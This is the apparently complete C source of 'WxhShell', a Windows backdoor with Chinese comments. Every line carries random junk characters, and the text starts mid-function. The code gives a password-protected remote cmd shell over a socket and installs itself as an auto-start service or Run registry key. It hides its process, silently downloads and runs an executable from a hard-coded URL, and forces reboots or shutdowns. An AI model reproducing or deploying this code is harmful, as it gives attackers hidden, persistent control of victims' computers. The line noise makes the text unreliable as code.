    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {Ty?OZ  
    if(Boot(SHUTDOWN)) 3s Mmg`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \n0MqXs#  
    else { %?!TqJT?{  
    closesocket(wsh); saR9_ ux  
    ExitThread(0); p i\SRDP  
    } qj,^"rp1:  
    break; 49dN~k=  
    } It5n;,n  
  // 获取shell zc!q a"4yM  
  case 's': { yz_xWx#9  
    CmdShell(wsh); jW]Fx:mQi  
    closesocket(wsh); P.O/ZW>g  
    ExitThread(0); 0]l9x}  
    break; 7OLchf  
  } 8V+  
  // 退出 ':|?M B  
  case 'x': { dt(Lp_&v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #YB3Ug]z  
    CloseIt(wsh); )!d_Td\-  
    break; hr/|Fn+kA  
    } OCI{)r<O2m  
  // 离开 0Y/k /)Ul]  
  case 'q': { ou [Wz{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \$2zF8  
    closesocket(wsh); Xvn \~Vr  
    WSACleanup(); OZE.T-{  
    exit(1); =+VI{~.|}  
    break; &_$xMM,X  
        } D?r% Y  
  } !&Us^Q^  
  } \D}$foHg  
4 zipgw  
  // 提示信息 n2&M?MGX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WmZ,c_  
} *5R91@xt  
  } xO;Qr.3PX  
N#7_)S[@0l  
  return;  Rlx  
} KL8WT6!RZ  
YtY.,H;  
// shell模块句柄 bs_rw+  
int CmdShell(SOCKET sock) (.~'\@  
{ =B ts  
STARTUPINFO si; j9 &0/ ~/  
ZeroMemory(&si,sizeof(si)); D0 rqte  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &Y$)s<u8.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KPdlg.  
PROCESS_INFORMATION ProcessInfo; aN~x3G  
char cmdline[]="cmd"; anFl:=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /5C>7BC  
  return 0; +!<{80w  
} jx8hh}C  
gEnc;qb  
// 自身启动模式 i-Ri;E  
int StartFromService(void) _O"C`]]  
{ [,q^\T  
typedef struct $EPDa?$*  
{ /G#W/Q  
  DWORD ExitStatus; rvBKJ!b0  
  DWORD PebBaseAddress; /V!gF+L  
  DWORD AffinityMask; t 2&}  
  DWORD BasePriority; + )*aS+  
  ULONG UniqueProcessId; hV"2L4/E  
  ULONG InheritedFromUniqueProcessId; X*rB`M7,  
}   PROCESS_BASIC_INFORMATION; mbZ g2TTy  
q@iZo,Yk  
PROCNTQSIP NtQueryInformationProcess; =lS@nRH  
T1fX[R ^\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5C"A*Fg?;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2T}FX4'  
*mfPq"/  
  HANDLE             hProcess; Aq{7WA  
  PROCESS_BASIC_INFORMATION pbi; xwu,<M v `  
UJGmaE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a8r+G]Z  
  if(NULL == hInst ) return 0; StM)lVeF  
pqxBu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3G-f+HN^E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }t5pz[zl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'K3%@,O  
{m 5R=22^  
  if (!NtQueryInformationProcess) return 0; 3Tr}t.mt  
,:"c"   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KPs @v@5M  
  if(!hProcess) return 0; )\,hc$<=m  
T eBJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S3_QOL  
u^&,~n@n7  
  CloseHandle(hProcess); 3|.KEJC"  
C~:!WRCz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iVb#X#  
if(hProcess==NULL) return 0; wq`\p['Q,  
p?eQN Y  
HMODULE hMod; HZzdelo  
char procName[255]; ,Y2){8#l  
unsigned long cbNeeded; o$bD?Zn  
dG'5: ,n/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C$fQ[@  
qAR}D~t  
  CloseHandle(hProcess); J`{HMv  
/A/k13 J  
if(strstr(procName,"services")) return 1; // 以服务启动 Q OP8{~O  
Se&%Dr3Nv  
  return 0; // 注册表启动 AC/82$  
} 2[$` ]{U  
<t4l5nr#  
// 主模块 Wy,Tf*[  
int StartWxhshell(LPSTR lpCmdLine) <=7^D  
{ O8S"B6?$~'  
  SOCKET wsl; j8#B  
BOOL val=TRUE; >l|dLyiae  
  int port=0; YfOO]{x,X  
  struct sockaddr_in door; O{`r.H1',  
Bc2PF;n  
  if(wscfg.ws_autoins) Install(); [P"R+$"   
Vch!&8xii  
port=atoi(lpCmdLine); k84JDPu#  
-YP>mwSN?  
if(port<=0) port=wscfg.ws_port; 9{V54ue;  
JIyIQg'5i  
  WSADATA data; LuIs4&[EW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \m;"KyP+  
xT1{O`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   p&ml$N9fd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v_Y'o _  
  door.sin_family = AF_INET; j=,]b6(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nH]F$'rtA  
  door.sin_port = htons(port); )x*pkE**c  
UHW;e}O5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eA(c{  
closesocket(wsl); SgocHpyg  
return 1; d ;W(Vm6  
} 5UHxB"`C  
y1:#0  
  if(listen(wsl,2) == INVALID_SOCKET) { <sq@[\l}a  
closesocket(wsl); 7lz"^  
return 1; jNA^ (|:  
} A1,- qv1s  
  Wxhshell(wsl); #.n%$r  
  WSACleanup(); <xeo9'k6&  
I7nZ9n|KU  
return 0; Pkw ` o #  
U 4@W{P02  
} 'F@#.Op`  
]1<O [d  
// 以NT服务方式启动 >HXmpu.O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +k4 SN  
{ kf<5`8  
DWORD   status = 0; bqDHLoB\1  
  DWORD   specificError = 0xfffffff; "m:4e`_dz  
o-jF?9m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) Pdl[+a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]h$,=Qf hD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q"[8u ]j  
  serviceStatus.dwWin32ExitCode     = 0; U3yIONlt  
  serviceStatus.dwServiceSpecificExitCode = 0; Zu/}TS9bi  
  serviceStatus.dwCheckPoint       = 0; 8?r RLM4  
  serviceStatus.dwWaitHint       = 0; *0`oFTJ  
r%/*,lLO  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H]7;O M/g  
  if (hServiceStatusHandle==0) return; 3yfq*\_uXw  
a jCx"J  
status = GetLastError(); ^#4?v^QNh  
  if (status!=NO_ERROR) c{u~=24;%#  
{ 4F+n`{~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DEw_dOJ(  
    serviceStatus.dwCheckPoint       = 0; NN9` jP2  
    serviceStatus.dwWaitHint       = 0; R2af>R  
    serviceStatus.dwWin32ExitCode     = status; ?][2J  
    serviceStatus.dwServiceSpecificExitCode = specificError; @*gm\sU4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  TVP.)%  
    return; i>C:C>~  
  } # N.(ZP  
[J|)DUjt  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; THM\-abz  
  serviceStatus.dwCheckPoint       = 0; v@0lTl_  
  serviceStatus.dwWaitHint       = 0; 0/."R ;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;_lEu" -  
} x_oL~~@  
< g<Lf[n$  
// 处理NT服务事件,比如:启动、停止 0} UJP   
VOID WINAPI NTServiceHandler(DWORD fdwControl) {<HL}m@kQ  
{ 6"Km E}  
switch(fdwControl) _ s]=g  
{ 0NB6S&lI^k  
case SERVICE_CONTROL_STOP: >k?/'R  
  serviceStatus.dwWin32ExitCode = 0; ~_TmS9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xPY/J#X$  
  serviceStatus.dwCheckPoint   = 0; 0omg%1vt<A  
  serviceStatus.dwWaitHint     = 0; !ACWv*pW  
  { < ealt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K`nI$l7hg  
  } j3bTa|UdT  
  return; [9WtoA,kx  
case SERVICE_CONTROL_PAUSE: 6.Nu[-?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >a;^=5E  
  break;  h7-!q@  
case SERVICE_CONTROL_CONTINUE: U3+{!}gn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~O)Uz|  
  break; .3%eSbt0  
case SERVICE_CONTROL_INTERROGATE: an 3"y6.8  
  break; xP.B,1\X  
}; d]OoJK9&&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bc"E=z  
} }TZ5/zn.Dw  
B8^tIq  
// 标准应用程序主函数 3:i4DBp,i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fn zj@_{|  
{ Rla4XN=mf  
~EIY(^|py  
// 获取操作系统版本 &X +Qi  
OsIsNt=GetOsVer(); _=1SR\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kSH3)CC P  
O/wl";-  
  // 从命令行安装 I72UkmK`  
  if(strpbrk(lpCmdLine,"iI")) Install(); }ZEh^zdz8  
q!k  F  
  // 下载执行文件 5r<%xanXW/  
if(wscfg.ws_downexe) { "-y\F}TE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sq&*K9:z  
  WinExec(wscfg.ws_filenam,SW_HIDE); H(ht{.sjI  
} cWl)ZE<hM  
(XJehdB0  
if(!OsIsNt) { I?v)>| |Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 0Ng6Xg(QHc  
HideProc(); Bo?uwi  
StartWxhshell(lpCmdLine); $jb0/  
} N:!XtYA<  
else BJk:h-m [  
  if(StartFromService()) J p.Sow  
  // 以服务方式启动 jMUE&/k  
  StartServiceCtrlDispatcher(DispatchTable); Wxg,y{(`  
else Eo\# *Cv*  
  // 普通方式启动 xDu11W+g  
  StartWxhshell(lpCmdLine); f)q\RJA)X  
=y8HOT}8  
return 0; ^>uzMR!q5  
} +15j^ Az  
h:(Jes2  
-gh',)R   
* eL%[B  
=========================================== $"T1W=;j9  
p2PD';"  
[UquI "  
j3VM !/  
Q;{yIa$ $  
!o*BRR*  
" 6)P~3 C'  
fcb:LPk;  
#include <stdio.h> Tfhg\++u  
#include <string.h> @QtJ/("&WC  
#include <windows.h> /a6\G.C5  
#include <winsock2.h> gLQWL}0O  
#include <winsvc.h> it\{#rb=4  
#include <urlmon.h> AqvRzi(Y  
bslv_OxJ  
#pragma comment (lib, "Ws2_32.lib") UuAn`oYhV  
#pragma comment (lib, "urlmon.lib") 3S:}fPR  
B4R!V!Z*  
#define MAX_USER   100 // 最大客户端连接数 'g#Ml`cm  
#define BUF_SOCK   200 // sock buffer fyx-VXu  
#define KEY_BUFF   255 // 输入 buffer TQ" [2cY  
AynWs5|z=  
#define REBOOT     0   // 重启 %p"x|e  
#define SHUTDOWN   1   // 关机 '/SMqmi  
SxC$EQ gL  
#define DEF_PORT   5000 // 监听端口 DTN@b!  
N7%Jy?-+  
#define REG_LEN     16   // 注册表键长度 bXc7$5(!VB  
#define SVC_LEN     80   // NT服务名长度 @g[p>t> *  
8nQlmWpJ  
// 从dll定义API *D F5sY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HGB96,o f9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WE4:Jy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {O#=%o[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K8{ j oh  
.%3bXK+F  
// wxhshell配置信息 mT5d[lz  
struct WSCFG { I1kx3CwJ{P  
  int ws_port;         // 监听端口 x 3#1  
  char ws_passstr[REG_LEN]; // 口令 KwWqsuju  
  int ws_autoins;       // 安装标记, 1=yes 0=no TxwZA  
  char ws_regname[REG_LEN]; // 注册表键名 6<NaME  
  char ws_svcname[REG_LEN]; // 服务名 29 u"\f a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $WnK  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #@Zz Bf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B[C2uVEX:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zrU0YHmt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kJ>l, AD/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X6!u(plVQ  
*FR Eh@R  
}; ;%]Q%7  
Pp:(PoH  
// default Wxhshell configuration XV)ej>A-V  
struct WSCFG wscfg={DEF_PORT, t3 *2Z u  
    "xuhuanlingzhe", }{:H0)H*  
    1, f&H):.  
    "Wxhshell", ~y_TT5+ 3  
    "Wxhshell", +uKlg#wqc  
            "WxhShell Service", :74^?  
    "Wrsky Windows CmdShell Service", ( E&}SI~  
    "Please Input Your Password: ", '\l(.N  
  1, k  5xzC&  
  "http://www.wrsky.com/wxhshell.exe", 6"[`"~9'V  
  "Wxhshell.exe" WUGPi'x  
    }; 0fXdE ;M3  
f'aUo|^?  
// 消息定义模块 "2 ma]Ps  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8~EDmg[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /%$'N$@f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cq u/(=  
char *msg_ws_ext="\n\rExit."; rgB`< [:b  
char *msg_ws_end="\n\rQuit."; fa/ '4  
char *msg_ws_boot="\n\rReboot..."; WY?(C@>s  
char *msg_ws_poff="\n\rShutdown..."; p{t2pfb  
char *msg_ws_down="\n\rSave to "; Sq UoXNw  
'_g8fz 3  
char *msg_ws_err="\n\rErr!"; W&}R7a@:<~  
char *msg_ws_ok="\n\rOK!"; MT$OjH'Q`  
^] Lr_k  
char ExeFile[MAX_PATH]; 7}%3Aw6]S  
int nUser = 0; ^g~Asz5]  
HANDLE handles[MAX_USER]; &y mfA{s  
int OsIsNt; t}qoIxy)  
Io5-[d  
SERVICE_STATUS       serviceStatus; | 3!a=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \5k[ "8~  
JnmJN1@I  
// 函数声明 aQMET~A:  
int Install(void); X/];*='Q  
int Uninstall(void); I &YYw8&  
int DownloadFile(char *sURL, SOCKET wsh); ! 0fpD'f!n  
int Boot(int flag); cA`R~o"  
void HideProc(void); R5r )01  
int GetOsVer(void); >UE_FC*u  
int Wxhshell(SOCKET wsl); EW0H"YIC  
void TalkWithClient(void *cs); _w Cp.[3?t  
int CmdShell(SOCKET sock); ub{<m^|)  
int StartFromService(void); gr4Hh/V  
int StartWxhshell(LPSTR lpCmdLine); 4.|]R8Mn  
I`t"Na2i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0LrTYrlj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E3_e~yu&  
6*S|$lo9B  
// 数据结构和表定义 ^uMy|d  
SERVICE_TABLE_ENTRY DispatchTable[] = 9 vmH$  
{ uz&CUvos  
{wscfg.ws_svcname, NTServiceMain}, R6h(mPYA  
{NULL, NULL} 8PDt 7 \  
}; 9&g//JlD  
s IY`H^  
// 自我安装 )|XmF4R  
int Install(void) sn+i[  
{ H-nk\ K<|  
  char svExeFile[MAX_PATH]; <)uUAh  
  HKEY key; hc"+6xc  
  strcpy(svExeFile,ExeFile); H"WkyvqXb  
82YTd(yB  
// 如果是win9x系统,修改注册表设为自启动 $s/N;E!t  
if(!OsIsNt) { 9-Ikd>9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0J7[n*~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4G;+ETp  
  RegCloseKey(key); f%an<>j^w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uPsn~>(4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/NmM)  
  RegCloseKey(key); DCPK1ql  
  return 0; KCe =$  
    } .D-}2<z  
  } zM|d9TS  
} tU}CRh  
else { `D>PU@s$nT  
b DeHU$  
// 如果是NT以上系统,安装为系统服务 !Q*.Dw()[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9FP6Z[4  
if (schSCManager!=0) ' 6Ybf  
{ 1wW8D>f]K  
  SC_HANDLE schService = CreateService x9a*^l  
  ( {e/12q  
  schSCManager, n (C*LK  
  wscfg.ws_svcname, GL cf'$l  
  wscfg.ws_svcdisp, d?oupW}uu  
  SERVICE_ALL_ACCESS, 1 C{n!l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ivb&J4?y  
  SERVICE_AUTO_START, 2rB$&>}T  
  SERVICE_ERROR_NORMAL, V.XHjHT  
  svExeFile, 6ALf`:  
  NULL, js^@tgf$x&  
  NULL, G':mc{{  
  NULL, f#ID:Ap3  
  NULL, =V5<>5"M?  
  NULL U8c0N<j  
  ); _.' j'j%  
  if (schService!=0) HN7(-ml=B  
  { 6m_Y%&   
  CloseServiceHandle(schService); pT>[w1Kk^  
  CloseServiceHandle(schSCManager); J|W~\(W6i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y5kqnibh@  
  strcat(svExeFile,wscfg.ws_svcname); czi$&(N0w$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %ErL L@e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L Bb&av  
  RegCloseKey(key); Cl7IP<.  
  return 0; 1tDd4r?Y  
    } m>x.4aO1  
  } \;&j;"c,W  
  CloseServiceHandle(schSCManager); :2^%^3+V  
} KqP! ={>"  
} SuB;Nb7r`  
c_~)#F%P  
return 1; |qH-^b.F  
} Sqed*  
Lp 5LRw  
// 自我卸载 >to NGGU=~  
int Uninstall(void) [<}:b>a  
{ x>A(016:C  
  HKEY key; o|>2X[T  
\L}Soe'  
if(!OsIsNt) { f>s3Q\+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !e?=I  
  RegDeleteValue(key,wscfg.ws_regname); t.t$6+"5We  
  RegCloseKey(key); |g;hXr#~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?SK1*; i  
  RegDeleteValue(key,wscfg.ws_regname); !>TVDN>  
  RegCloseKey(key); 4`o_r%   
  return 0; 3!_y@sWx  
  } *NS:X7p!V  
} ;2(8&.  
} - jfZLO4  
else { F-R4S^eV  
ZN~:^,PO/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "^fcXV9Wp  
if (schSCManager!=0) H{VVxj  
{ BD&JbH!(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jutEb@nog  
  if (schService!=0) iBVV5 f  
  { -M2c8P:.b  
  if(DeleteService(schService)!=0) { <.HX_z3l  
  CloseServiceHandle(schService); %"r3{Hs  
  CloseServiceHandle(schSCManager); (TM1(<j  
  return 0;  )o`|t  
  } &|'1.^f@;E  
  CloseServiceHandle(schService); #K.OJJaG  
  } 12U1DEd>-  
  CloseServiceHandle(schSCManager); 0k>bsn/ j  
} QFY1@2EC  
}  F"FGPk  
OBqaf )W  
return 1; a6wPkf7-H  
} sMlY!3{I x  
NYA,  
// 从指定url下载文件 ~2@+#1[g8z  
int DownloadFile(char *sURL, SOCKET wsh) LX[<Wh_X(  
{ @;_xFL;{g  
  HRESULT hr; K'kWL[Ut!  
char seps[]= "/"; .:A9*,  
char *token; 8C7$8x] mM  
char *file; -`sK?*[{J  
char myURL[MAX_PATH]; % 3d59O  
char myFILE[MAX_PATH]; xa5^h]o   
i2j_=X-  
strcpy(myURL,sURL); m^Qc9s#D  
  token=strtok(myURL,seps); \2KwF}[m  
  while(token!=NULL) tGDsZ;3Yr  
  { LG0+A}E=C  
    file=token; )ZC0/>R  
  token=strtok(NULL,seps); BF{v0Z0/}k  
  } XZde}zUWn  
ZjF5*A8l  
GetCurrentDirectory(MAX_PATH,myFILE); pKJ0+mN#"  
strcat(myFILE, "\\"); :c[iS~ ~Y  
strcat(myFILE, file); \CNv,HUm3  
  send(wsh,myFILE,strlen(myFILE),0); %$}aWzQxll  
send(wsh,"...",3,0); A:Pp;9wl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #\3(rzQVO  
  if(hr==S_OK) 8;K'77h  
return 0; A.vWGBR  
else }c|)i,bL  
return 1; 2XI%z4\)!  
UfIH!6Q  
} D@A@5pvS  
70hm9b-   
// 系统电源模块 VN6h:-&iY  
int Boot(int flag) 0aj4.H*%  
{ gg $/  
  HANDLE hToken; TR}ztf[e  
  TOKEN_PRIVILEGES tkp; mucKmb/  
[hC-} 9  
  if(OsIsNt) { =kFZ2/P2t(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u}Kc>/AF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  #~QkS_  
    tkp.PrivilegeCount = 1; xc{$=>'G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m%au* 0p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "=8= G  
if(flag==REBOOT) { uflRW+-2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Mtxn@m{i;"  
  return 0; }8tD|t[  
} Zpc R   
else { whFaL}2C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 12r]"?@|s  
  return 0; |:)UNb?R"O  
} C]H'z  
  } o+Cd\D69S  
  else { "g}mxPe  
if(flag==REBOOT) { x[L/d"Wf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P5,X,-eG  
  return 0; <g9@iUOI  
} ]$7dkP  
else { 4 :m/w!q$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +9Vp<(  
  return 0; )~@iM.}S2  
} L WwWxerZ  
} X|]&K  
{Aq2}sRl{  
return 1; ))Q3;mI"  
} VaKBS/y"  
~Psv[b=]  
// win9x进程隐藏模块 ,Hq*zc c  
void HideProc(void) cvSr><(  
{ O$SQzLZx&  
CjeAO 2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oMdqg4HUF  
  if ( hKernel != NULL ) 2x3%*r$  
  { '1rHvz`B/"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RC{|:@]8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y*K]z  
    FreeLibrary(hKernel); hf#[Vns  
  } LYM(eK5V  
&.D#OnRh9  
return; %#gHa  
} aG&ay3[&  
Mzfuthq=@  
// 获取操作系统版本 )Pj8{.t4  
int GetOsVer(void) x ,LQA0  
{ 0=g~ozEW&  
  OSVERSIONINFO winfo; P[q`{TdV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "WPFZw:9  
  GetVersionEx(&winfo); WBOebv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BBkYc:B=SA  
  return 1; o]gS=iLp  
  else UB5X2uBv  
  return 0; uPZ<hG#K  
} 78o>UWA:  
GJLe733o  
// 客户端句柄模块 *(c><N  
int Wxhshell(SOCKET wsl) Cx,)$!1  
{ dJ/(u&N  
  SOCKET wsh; zI$24L9*  
  struct sockaddr_in client; &n 1 \^:  
  DWORD myID; $)(K7> P  
ItLP&S=  
  while(nUser<MAX_USER) LA\)B"{J  
{ .LQvjK[N  
  int nSize=sizeof(client); {Kdr-aC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vBRW5@  
  if(wsh==INVALID_SOCKET) return 1; s"jNS1B  
Rq,ST:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RCCI}ovU  
if(handles[nUser]==0) ccCe@1RI  
  closesocket(wsh); R\VM6>SN'S  
else j4C{yk  
  nUser++; *d%U]Hby,  
  } kuEB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZA;VA=)\8  
W'0(0;+G/j  
  return 0; X!'nfN  
} Adyv>T9  
4pkTOQq_tQ  
// 关闭 socket $d[ -feU  
void CloseIt(SOCKET wsh) qjc8$#zXS  
{ qYi<GI*|@  
closesocket(wsh); gr&Rkuyfv  
nUser--; ,?zIt6Z  
ExitThread(0); -( d,AX  
} M?yWFqFt9m  
0SJ7QRo|K  
// 客户端请求句柄 CHZjK(a  
void TalkWithClient(void *cs) ;Xzay|  
{ 9[L@*7A`m  
?M02|8-  
  SOCKET wsh=(SOCKET)cs; ]t'bd <O  
  char pwd[SVC_LEN]; Y$L>tFA  
  char cmd[KEY_BUFF]; @1p ,  
char chr[1]; ,vN0Jpf}\8  
int i,j; i*q!|^M  
c2$&pZ M  
  while (nUser < MAX_USER) { A&dNCB  
MZ/PXY  
if(wscfg.ws_passstr) { `U~Y{f_!H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tWo MUp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bM%c*_$F7  
  //ZeroMemory(pwd,KEY_BUFF); -4}I02  
      i=0; E#cW3\)  
  while(i<SVC_LEN) { ^mNPP:%iN  
:zL.dJwa  
  // 设置超时 ":o1g5?  
  fd_set FdRead; fUJ\W"qya  
  struct timeval TimeOut; KPT@I3P  
  FD_ZERO(&FdRead); p]7Gj &a  
  FD_SET(wsh,&FdRead); ;4g_~fB  
  TimeOut.tv_sec=8; &R'%OFi  
  TimeOut.tv_usec=0; TLkJZ4}?Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /p&)bL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @|2}*_3\  
qL\*rYe<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GA8cA)]zOD  
  pwd=chr[0]; Ul EP;  
  if(chr[0]==0xd || chr[0]==0xa) { f%1Dn}6  
  pwd=0; rX8EXraO  
  break; ilyQ gEjC  
  } UpA{$@  
  i++; 1f.xZgO/2  
    } o4Bl!7U  
4]\t6,Cz8  
  // 如果是非法用户,关闭 socket v{H3DgyG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e$wbYByW  
} X> *o\   
$B iG7,[#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rLzYkZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >QusXD"L>  
x_&m$Fh  
while(1) { -}ebn*7i\  
M?UlC   
  ZeroMemory(cmd,KEY_BUFF); OoFQ@zE7%  
c0H8FF3  
      // 自动支持客户端 telnet标准   ~'4:{xH  
  j=0; >:ZlYZ6sI  
  while(j<KEY_BUFF) { Wv   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [|sKu#yW  
  cmd[j]=chr[0]; b=#3p  
  if(chr[0]==0xa || chr[0]==0xd) { ;5*)kX  
  cmd[j]=0; D4"](RXH  
  break; h=3156M  
  } `R}D@  
  j++; {,5=U@J  
    } }}GBCXAf_  
'z#{'`$a  
  // 下载文件 .2xp.i{  
  if(strstr(cmd,"http://")) { !n`ogzOh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jH*+\:UP-  
  if(DownloadFile(cmd,wsh)) %;.|?gR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o3;u*f0rWn  
  else X-Sso9/q.  
